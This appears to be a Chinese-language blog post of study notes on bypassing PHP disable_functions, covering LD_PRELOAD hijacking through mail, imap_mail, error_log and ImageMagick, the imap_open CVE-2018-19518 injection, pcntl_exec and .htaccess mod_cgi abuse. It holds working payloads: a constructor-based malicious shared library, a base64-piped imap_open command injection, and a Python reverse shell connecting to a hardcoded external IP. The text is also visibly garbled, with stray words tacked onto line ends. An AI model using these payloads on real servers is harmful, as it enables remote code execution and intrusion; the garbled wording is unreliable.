bypass disable_function總結學習

一般bypass的思路以下

1. 攻擊後端組件,尋找存在命令注入的、web 應用經常使用的後端組件,如,ImageMagick 的魔圖漏洞、bash 的破殼漏洞
2. 尋找未禁用的漏網函數,常見的執行命令的函數有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,嘗試修改 .htaccess,調整請求訪問路由,繞過 php.ini 中的任何限制
4. 利用環境變量 LD_PRELOAD 劫持系統函數,讓外部程序加載惡意 *.so,達到執行系統命令的效果

readelf -Ws /usr/bin/sendmailphp

經過readelf能夠查看id程序可能調用的系統API函數,這個命令結果僅表明可能被調用的API,不表明必定調用python

經過strace -f +程序執行 才能看到程序實際的內部調用狀況git

1.利用LD_PRELOAD

LD_PRELOAD是Linux系統的一個環境變量,用於動態庫的加載,動態庫加載的優先級最高,它能夠影響程序的運行時的連接(Runtime linker),
它容許你定義在程序運行前優先加載的動態連接庫。這個功能主要就是用來有選擇性的載入不一樣動態連接庫中的相同函數。經過這個環境變量,
咱們能夠在主程序和其動態連接庫的中間加載別的動態連接庫,甚至覆蓋正常的函數庫。一方面,咱們能夠以此功能來使用本身的或是更好的函數(無需別人的源碼),
而另外一方面,咱們也能夠以向別人的程序注入程序,從而達到特定的目的。

execve

execve(執行文件)在父進程中fork一個子進程,在子進程中調用exec函數啓動新的程序。
exec函數一共有六個,其中execve爲內核級系統調用,其餘(execl,execle,execlp,execv,execvp)都是調用execve的庫函數
execve()用來執行參數filename字符串所表明的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,而且須要以空指針(NULL)結束,最後一個參數則爲傳遞給執行文件的新環境變量數組。

 關鍵:github

雖然 LD_PRELOAD 爲我提供了劫持系統函數的能力,但前提是我得控制 php 啓動外部程序(調用execve fock子進程)才行(只要有進程啓動行爲便可,無所謂是誰,由於新進程啓動將從新LD_PRELOAD,而LD_PRELOAD用於加載動態連接庫)web

常見的 system() 啓動程序方式顯然不行,不然就不存在突破 disable_functions 一事了。PHP 腳本中除了調用 system()、exec()、shell_exec() 等等一堆 php 函數外,還有哪一種可能啓動外部程序呢?php 解釋器自身!好比,php 函數 goForward() 實現「前進」的功能,php 函數 goForward() 又由組成 php 解釋器的 C 語言模塊之一的 move.c 實現,C 模塊 move.c 內部又經過調用外部程序 go.bin 實現,那麼,個人 php 腳本中調用了函數 goForward(),勢必啓動外部程序 go.bin。如今,我須要找到相似 goForward() 的真實存在的 PHP 函數。docker

若是想建立一個動態連接庫,可使用 GCC 的-shared選項。輸入文件能夠是源文件、彙編文件或者目標文件。

另外還得結合-fPIC選項。-fPIC 選項做用於編譯階段,告訴編譯器產生與位置無關代碼(Position-Independent Code);這樣一來,產生的代碼中就沒有絕對地址了,所有使用相對地址,因此代碼能夠被加載器加載到內存的任意位置,均可以正確的執行。這正是共享庫所要求的,共享庫被加載時,在內存的位置不是固定的。

putenv+mail

以發送郵件功能的mail函數爲例,這裏成功經過execve啓動了新的進程,即調用了/usr/sbin/sendmailshell

用相同的測試方式,還找到一個 imap_mail(),以前是劫持getuid函數是由於sendmail程序調用該函數,在真實環境中,存在兩方面問題:一是,某些環境中,web 禁止啓用 senmail、甚至系統上根本未安裝 sendmail,也就談不上劫持 getuid(),回到 LD_PRELOAD 自己,系統經過它預先加載共享對象,若是能找到一個方式,在加載時就執行代碼,而不用考慮劫持某一系統函數,那我就徹底能夠不依賴 sendmail 了。apache

原做者找到了__attribute__ ((__constructor__))ubuntu

 It's run when a shared library is loaded, typically during program startup.

也就是說因此當咱們最開始將evil shared library load上後,就會觸發__attribute__ ((__constructor__)),從而達成咱們rce的目的。後端

好比編寫以下c程序:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

putenv+imap_mail

imap_mail也是php用來發送電子郵件的的一個函數,用法和mail函數差很少,一樣會調用sendmail命令:

putenv+error_log

error_log(error,type,destination,headers)

當type爲1時,服務器就會把error發送到參數 destination 設置的郵件地址

使用strace看一下,說明error_log函數也會啓動新的進程

 那麼這個函數也會跟mail函數同樣去加載咱們的共享庫,從而配合LD_PRELOAD來實現rce

利用ImageMagick

 當imagick去處理如下後綴的文件時,將會調用ffmpeg去處理文件,即將會fork新的子進程,這正是咱們想要的效果

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

能夠看到,此時調用了/usr/bin/ffmpeg去處理該程序,因此確定會加載LD_PRELOAD,從而來加載咱們的惡意共享庫so文件

利用imap_open (CVE-2018-19518)

 php imap擴展用於在PHP中執行郵件收發操做。其imap_open函數會調用rsh來鏈接遠程shell,而debian/ubuntu中默認使用ssh來代替rsh的功能(也就是說,在debian系列系統中,執行rsh命令實際執行的是ssh命令)。由於ssh命令中能夠經過設置-oProxyCommand=來調用第三方命令,攻擊者經過注入注入這個參數,最終將致使命令執行漏洞。

好比執行

ssh -oProxyCommand="touch test.txt" 192.168.1.123

 

將會建立test.txt,環境在:

https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

直接進入docker容器測試exp:

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

固然這裏-oProxyCommand= 後面的命令咱們能夠自定以,要是對一些關鍵詞過濾的話咱們還能夠命令寫入一些文件中,而後bash + 文件名來執行其中的bash命令,可是bash關鍵詞不能被過濾

利用pcntl_exec突破disable_functions

直接經過pcntl_exec反彈shell:

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("104.224.146.7",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

.htaccess:不止重定向

在apache的WEB環境中,咱們常常會使用.htaccess這個文件來肯定某個目錄下的URL重寫規則,特別是一些開源的CMS或者框架當中常常會用到,好比著名的開源論壇discuz!
就能夠經過.htaccess文件實現URL的靜態化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環境下會用.htaccess文件實現路由規則。
可是若是.htaccess文件被攻擊者修改的話,攻擊者就能夠利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令。

條件

第一,必須是apache環境
第二,mod_cgi已經啓用  (在/etc/apache2/mods-enables裏面能夠看到apache已經加載的模塊,或者使用apache_get_modules()返回開啓的模塊)
第三,必須容許.htaccess文件,也就是說在httpd.conf中,要注意AllowOverride選項爲All,而不是none  (apache2.conf)
第四,必須有權限寫.htaccess文件

在apache的配置中,有一個很是重要的指令,Options,Options指令是Apache配置文件中一個比較常見也比較重要的指令,Options指令能夠在Apache服務器核心配置(server config)、虛擬主機配置(virtual host)、特定目錄配置(directory)以及.htaccess文件中使用,Options指令的主要做用是控制特定目錄將啓用哪些服務器特性咱們用到的就是ExecCGI選項,表示容許使用mod_cgi模塊執行CGI腳本

除了Options,咱們還要配合另一個AddHandler指令來使用,若是你對AddHandler不太熟悉不要緊,這麼解釋一下就容易理解多了:AddType咱們確定很熟悉,好比配置apache對PHP的支持的時候,常常會添加一行相似AddType application/x-httpd-php .php這樣的配置,這實際上是指定了文件擴展名和內容類型之間的映射關係,而AddHandler則是指定擴展名和處理程序之間的關係,也就是說,能夠指定某個特定的擴展名的文件,如何來進行處理。

php特定版本bypass

1.php7.0-php7-gc-bypass執行效果以下圖

 

 

 

 對於適用版本的php直接運行便可。

2.對於php-cgi或者php-fpm模式運行的Apache服務器

可使用

https://github.com/beched/php_disable_functions_bypass

open_basedir要關閉

3.php7.1版本,以及如下版本能夠:

 

 

參考:

https://xz.aliyun.com/t/4623#toc-10

https://xz.aliyun.com/t/5320#toc-2

https://github.com/Bo0oM/PHP_imap_open_exploit

https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

https://baike.baidu.com/item/execve

http://47.98.146.200/index.php/archives/44/

 https://skysec.top/2019/02/25/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bimap_open()%20RCE/#%E5%89%8D%E8%A8%80

https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F-hijacking-function

相關文章
相關標籤/搜索